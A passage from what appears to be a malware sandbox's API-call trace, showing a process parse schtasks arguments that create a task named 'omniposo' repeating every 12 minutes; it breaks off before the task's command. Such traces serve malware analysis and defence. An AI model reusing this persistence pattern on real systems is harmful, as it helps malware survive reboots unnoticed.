out: _Buffer="|i|") returned 3 [0089.893] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0089.893] lstrlenW (lpString="|i|") returned 3 [0089.893] lstrlenW (lpString="|tn|") returned 4 [0089.893] SetLastError (dwErrCode=0x490) [0089.893] lstrlenW (lpString="tn") returned 2 [0089.893] lstrlenW (lpString="tn") returned 2 [0089.893] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.893] lstrlenW (lpString="tn") returned 2 [0089.893] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.893] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0089.893] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0089.893] lstrlenW (lpString="|tn|") returned 4 [0089.893] lstrlenW (lpString="|tn|") returned 4 [0089.893] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0089.893] SetLastError (dwErrCode=0x0) [0089.893] SetLastError (dwErrCode=0x0) [0089.893] lstrlenW (lpString="omniposo") returned 8 [0089.893] lstrlenW (lpString="-/") returned 2 [0089.893] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0089.893] SetLastError (dwErrCode=0x490) [0089.893] SetLastError (dwErrCode=0x490) [0089.893] SetLastError (dwErrCode=0x0) [0089.893] lstrlenW (lpString="omniposo") returned 8 [0089.893] StrChrIW (lpStart="omniposo", wMatch=0x3a) returned 0x0 [0089.893] SetLastError (dwErrCode=0x490) [0089.893] SetLastError (dwErrCode=0x0) [0089.894] lstrlenW (lpString="omniposo") returned 8 [0089.894] SetLastError (dwErrCode=0x0) [0089.894] SetLastError (dwErrCode=0x0) [0089.894] lstrlenW (lpString="/sc") returned 3 [0089.894] lstrlenW (lpString="-/") returned 2 [0089.894] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.894] lstrlenW (lpString="create") returned 6 [0089.894] lstrlenW (lpString="create") returned 6 [0089.894] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.894] lstrlenW (lpString="sc") returned 2 [0089.894] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.894] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|create|") returned 8 [0089.894] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0089.894] lstrlenW (lpString="|create|") returned 8 [0089.894] lstrlenW (lpString="|sc|") returned 4 [0089.894] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0089.894] SetLastError (dwErrCode=0x490) [0089.894] lstrlenW (lpString="?") returned 1 [0089.894] lstrlenW (lpString="?") returned 1 [0089.894] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.894] lstrlenW (lpString="sc") returned 2 [0089.894] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.894] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|?|") returned 3 [0089.894] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0089.895] lstrlenW (lpString="|?|") returned 3 [0089.895] lstrlenW (lpString="|sc|") returned 4 [0089.895] SetLastError (dwErrCode=0x490) [0089.895] lstrlenW (lpString="s") returned 1 [0089.895] lstrlenW (lpString="s") returned 1 [0089.895] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.895] lstrlenW (lpString="sc") returned 2 [0089.921] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.921] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|s|") returned 3 [0089.921] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0089.921] lstrlenW (lpString="|s|") returned 3 [0089.921] lstrlenW (lpString="|sc|") returned 4 [0089.921] SetLastError (dwErrCode=0x490) [0089.921] lstrlenW (lpString="u") returned 1 [0089.921] lstrlenW (lpString="u") returned 1 [0089.921] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.921] lstrlenW (lpString="sc") returned 2 [0089.921] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.921] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|u|") returned 3 [0089.921] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0089.921] lstrlenW (lpString="|u|") returned 3 [0089.921] lstrlenW (lpString="|sc|") returned 4 [0089.921] SetLastError (dwErrCode=0x490) [0089.921] lstrlenW (lpString="p") returned 1 [0089.921] lstrlenW (lpString="p") returned 1 [0089.921] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.921] lstrlenW (lpString="sc") returned 2 [0089.921] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.922] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|p|") returned 3 [0089.922] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0089.922] lstrlenW (lpString="|p|") returned 3 [0089.922] lstrlenW (lpString="|sc|") returned 4 [0089.922] SetLastError (dwErrCode=0x490) [0089.922] lstrlenW (lpString="ru") returned 2 [0089.922] lstrlenW (lpString="ru") returned 2 [0089.922] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.922] lstrlenW (lpString="sc") returned 2 [0089.922] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.922] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ru|") returned 4 [0089.922] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0089.922] lstrlenW (lpString="|ru|") returned 4 [0089.922] lstrlenW (lpString="|sc|") returned 4 [0089.922] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0089.922] SetLastError (dwErrCode=0x490) [0089.922] lstrlenW (lpString="rp") returned 2 [0089.922] lstrlenW (lpString="rp") returned 2 [0089.922] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.922] lstrlenW (lpString="sc") returned 2 [0089.922] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.923] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rp|") returned 4 [0089.923] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0089.923] lstrlenW (lpString="|rp|") returned 4 [0089.923] lstrlenW (lpString="|sc|") returned 4 [0089.923] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0089.923] SetLastError (dwErrCode=0x490) [0089.923] lstrlenW (lpString="sc") returned 2 [0089.923] lstrlenW (lpString="sc") returned 2 [0089.923] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.923] lstrlenW (lpString="sc") returned 2 [0089.923] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.923] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0089.923] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0089.923] lstrlenW (lpString="|sc|") returned 4 [0089.923] lstrlenW (lpString="|sc|") returned 4 [0089.923] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0089.923] SetLastError (dwErrCode=0x0) [0089.923] SetLastError (dwErrCode=0x0) [0089.923] lstrlenW (lpString="MINUTE") returned 6 [0089.923] lstrlenW (lpString="-/") returned 2 [0089.923] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0089.923] SetLastError (dwErrCode=0x490) [0089.924] SetLastError (dwErrCode=0x490) [0089.924] SetLastError (dwErrCode=0x0) [0089.924] lstrlenW (lpString="MINUTE") returned 6 [0089.924] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0089.924] SetLastError (dwErrCode=0x490) [0089.924] SetLastError (dwErrCode=0x0) [0089.924] GetProcessHeap () returned 0x350000 [0089.924] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36e540 [0089.924] _memicmp (_Buf1=0x36e540, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.924] lstrlenW (lpString="MINUTE") returned 6 [0089.924] GetProcessHeap () returned 0x350000 [0089.924] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xe) returned 0x36e560 [0089.924] lstrlenW (lpString="MINUTE") returned 6 [0089.924] lstrlenW (lpString=" \x09") returned 2 [0089.924] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0089.924] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0089.924] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0089.924] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0089.924] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0089.924] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0089.924] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0089.924] GetLastError () returned 0x0 [0089.924] lstrlenW (lpString="MINUTE") returned 6 [0089.924] lstrlenW (lpString="MINUTE") returned 6 [0089.925] SetLastError (dwErrCode=0x0) [0089.925] SetLastError (dwErrCode=0x0) [0089.925] lstrlenW (lpString="/mo") returned 3 [0089.925] lstrlenW (lpString="-/") returned 2 [0089.925] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.925] lstrlenW (lpString="create") returned 6 [0089.925] lstrlenW (lpString="create") returned 6 [0089.925] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.925] lstrlenW (lpString="mo") returned 2 [0089.925] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.925] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|create|") returned 8 [0089.925] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0089.925] lstrlenW (lpString="|create|") returned 8 [0089.925] lstrlenW (lpString="|mo|") returned 4 [0089.925] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0089.925] SetLastError (dwErrCode=0x490) [0089.925] lstrlenW (lpString="?") returned 1 [0089.925] lstrlenW (lpString="?") returned 1 [0089.925] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.925] lstrlenW (lpString="mo") returned 2 [0089.925] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.926] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|?|") returned 3 [0089.926] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0089.926] lstrlenW (lpString="|?|") returned 3 [0089.926] lstrlenW (lpString="|mo|") returned 4 [0089.926] SetLastError (dwErrCode=0x490) [0089.926] lstrlenW (lpString="s") returned 1 [0089.926] lstrlenW (lpString="s") returned 1 [0089.926] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.926] lstrlenW (lpString="mo") returned 2 [0089.926] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.926] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|s|") returned 3 [0089.926] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0089.926] lstrlenW (lpString="|s|") returned 3 [0089.927] lstrlenW (lpString="|mo|") returned 4 [0089.927] SetLastError (dwErrCode=0x490) [0089.927] lstrlenW (lpString="u") returned 1 [0089.927] lstrlenW (lpString="u") returned 1 [0089.927] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.927] lstrlenW (lpString="mo") returned 2 [0089.927] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.927] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|u|") returned 3 [0089.928] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0089.928] lstrlenW (lpString="|u|") returned 3 [0089.928] lstrlenW (lpString="|mo|") returned 4 [0089.928] SetLastError (dwErrCode=0x490) [0089.928] lstrlenW (lpString="p") returned 1 [0089.928] lstrlenW (lpString="p") returned 1 [0089.928] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.928] lstrlenW (lpString="mo") returned 2 [0089.928] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.928] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|p|") returned 3 [0089.928] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0089.928] lstrlenW (lpString="|p|") returned 3 [0089.928] lstrlenW (lpString="|mo|") returned 4 [0089.928] SetLastError (dwErrCode=0x490) [0089.928] lstrlenW (lpString="ru") returned 2 [0089.928] lstrlenW (lpString="ru") returned 2 [0089.928] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.928] lstrlenW (lpString="mo") returned 2 [0089.928] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.928] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ru|") returned 4 [0089.928] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0089.928] lstrlenW (lpString="|ru|") returned 4 [0089.929] lstrlenW (lpString="|mo|") returned 4 [0089.929] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0089.929] SetLastError (dwErrCode=0x490) [0089.929] lstrlenW (lpString="rp") returned 2 [0089.929] lstrlenW (lpString="rp") returned 2 [0089.929] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.929] lstrlenW (lpString="mo") returned 2 [0089.929] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.929] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rp|") returned 4 [0089.929] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0089.929] lstrlenW (lpString="|rp|") returned 4 [0089.929] lstrlenW (lpString="|mo|") returned 4 [0089.929] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0089.929] SetLastError (dwErrCode=0x490) [0089.929] lstrlenW (lpString="sc") returned 2 [0089.929] lstrlenW (lpString="sc") returned 2 [0089.929] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.929] lstrlenW (lpString="mo") returned 2 [0089.929] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.929] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0089.929] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0089.929] lstrlenW (lpString="|sc|") returned 4 [0089.929] lstrlenW (lpString="|mo|") returned 4 [0089.930] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0089.930] SetLastError (dwErrCode=0x490) [0089.930] lstrlenW (lpString="mo") returned 2 [0089.930] lstrlenW (lpString="mo") returned 2 [0089.930] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.930] lstrlenW (lpString="mo") returned 2 [0089.930] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.930] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0089.930] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0089.930] lstrlenW (lpString="|mo|") returned 4 [0089.930] lstrlenW (lpString="|mo|") returned 4 [0089.930] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0089.930] SetLastError (dwErrCode=0x0) [0089.930] SetLastError (dwErrCode=0x0) [0089.930] lstrlenW (lpString="12") returned 2 [0089.930] lstrlenW (lpString="-/") returned 2 [0089.930] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0089.930] SetLastError (dwErrCode=0x490) [0089.930] SetLastError (dwErrCode=0x490) [0089.930] SetLastError (dwErrCode=0x0) [0089.930] lstrlenW (lpString="12") returned 2 [0089.930] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0089.930] SetLastError (dwErrCode=0x490) [0089.930] SetLastError (dwErrCode=0x0) [0089.930] _memicmp (_Buf1=0x36e540, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.931] lstrlenW (lpString="12") returned 2 [0089.931] lstrlenW (lpString="12") returned 2 [0089.931] lstrlenW (lpString=" \x09") returned 2 [0089.931] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0089.931] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0089.931] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0089.931] GetLastError () returned 0x0 [0089.931] lstrlenW (lpString="12") returned 2 [0089.931] lstrlenW (lpString="12") returned 2 [0089.931] GetProcessHeap () returned 0x350000 [0089.931] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x6) returned 0x36ba10 [0089.931] SetLastError (dwErrCode=0x0) [0089.931] SetLastError (dwErrCode=0x0) [0089.931] lstrlenW (lpString="/tr") returned 3 [0089.931] lstrlenW (lpString="-/") returned 2 [0089.931] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.931] lstrlenW (lpString="create") returned 6 [0089.931] lstrlenW (lpString="create") returned 6 [0089.931] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.931] lstrlenW (lpString="tr") returned 2 [0089.931] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.931] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|create|") returned 8 [0089.931] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0089.931] lstrlenW (lpString="|create|") returned 8 [0089.931] lstrlenW (lpString="|tr|") returned 4 [0089.931] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0089.932] SetLastError (dwErrCode=0x490) [0089.932] lstrlenW (lpString="?") returned 1 [0089.932] lstrlenW (lpString="?") returned 1 [0089.932] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.932] lstrlenW (lpString="tr") returned 2 [0089.932] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.932] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|?|") returned 3 [0089.932] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0089.932] lstrlenW (lpString="|?|") returned 3 [0089.932] lstrlenW (lpString="|tr|") returned 4 [0089.932] SetLastError (dwErrCode=0x490) [0089.932] lstrlenW (lpString="s") returned 1 [0089.932] lstrlenW (lpString="s") returned 1 [0089.932] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.932] lstrlenW (lpString="tr") returned 2 [0089.932] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.932] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|s|") returned 3 [0089.932] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0089.932] lstrlenW (lpString="|s|") returned 3 [0089.932] lstrlenW (lpString="|tr|") returned 4 [0089.932] SetLastError (dwErrCode=0x490) [0089.932] lstrlenW (lpString="u") returned 1 [0089.932] lstrlenW (lpString="u") returned 1 [0089.933] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.933] lstrlenW (lpString="tr") returned 2 [0089.933] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.933] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|u|") returned 3 [0089.933] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0089.933] lstrlenW (lpString="|u|") returned 3 [0089.933] lstrlenW (lpString="|tr|") returned 4 [0089.933] SetLastError (dwErrCode=0x490) [0089.933] lstrlenW (lpString="p") returned 1 [0089.933] lstrlenW (lpString="p") returned 1 [0089.933] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.933] lstrlenW (lpString="tr") returned 2 [0089.933] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.933] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|p|") returned 3 [0089.933] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0089.933] lstrlenW (lpString="|p|") returned 3 [0089.933] lstrlenW (lpString="|tr|") returned 4 [0089.933] SetLastError (dwErrCode=0x490) [0089.933] lstrlenW (lpString="ru") returned 2 [0089.933] lstrlenW (lpString="ru") returned 2 [0089.933] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.933] lstrlenW (lpString="tr") returned 2 [0089.933] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.934] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ru|") returned 4 [0089.934] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0089.934] lstrlenW (lpString="|ru|") returned 4 [0089.934] lstrlenW (lpString="|tr|") returned 4 [0089.934] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0089.934] SetLastError (dwErrCode=0x490) [0089.934] lstrlenW (lpString="rp") returned 2 [0089.934] lstrlenW (lpString="rp") returned 2 [0089.934] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.934] lstrlenW (lpString="tr") returned 2 [0089.934] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.934] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rp|") returned 4 [0089.934] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0089.934] lstrlenW (lpString="|rp|") returned 4 [0089.934] lstrlenW (lpString="|tr|") returned 4 [0089.934] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0089.934] SetLastError (dwErrCode=0x490) [0089.934] lstrlenW (lpString="sc") returned 2 [0089.934] lstrlenW (lpString="sc") returned 2 [0089.935] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.935] lstrlenW (lpString="tr") returned 2 [0089.935] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.935] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0089.935] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0089.935] lstrlenW (lpString="|sc|") returned 4 [0089.935] lstrlenW (lpString="|tr|") returned 4 [0089.935] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0089.935] SetLastError (dwErrCode=0x490) [0089.935] lstrlenW (lpString="mo") returned 2 [0089.935] lstrlenW (lpString="mo") returned 2 [0089.935] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.935] lstrlenW (lpString="tr") returned 2 [0089.935] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.935] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0089.935] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0089.935] lstrlenW (lpString="|mo|") returned 4 [0089.935] lstrlenW (lpString="|tr|") returned 4 [0089.936] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0089.936] SetLastError (dwErrCode=0x490) [0089.936] lstrlenW (lpString="d") returned 1 [0089.936] lstrlenW (lpString="d") returned 1 [0089.936] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.936] lstrlenW (lpString="tr") returned 2 [0089.936] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.936] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|d|") returned 3 [0089.936] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0089.936] lstrlenW (lpString="|d|") returned 3 [0089.936] lstrlenW (lpString="|tr|") returned 4 [0089.936] SetLastError (dwErrCode=0x490) [0089.936] lstrlenW (lpString="m") returned 1 [0089.936] lstrlenW (lpString="m") returned 1 [0089.936] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.936] lstrlenW (lpString="tr") returned 2 [0089.936] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.936] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|m|") returned 3 [0089.936] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0089.936] lstrlenW 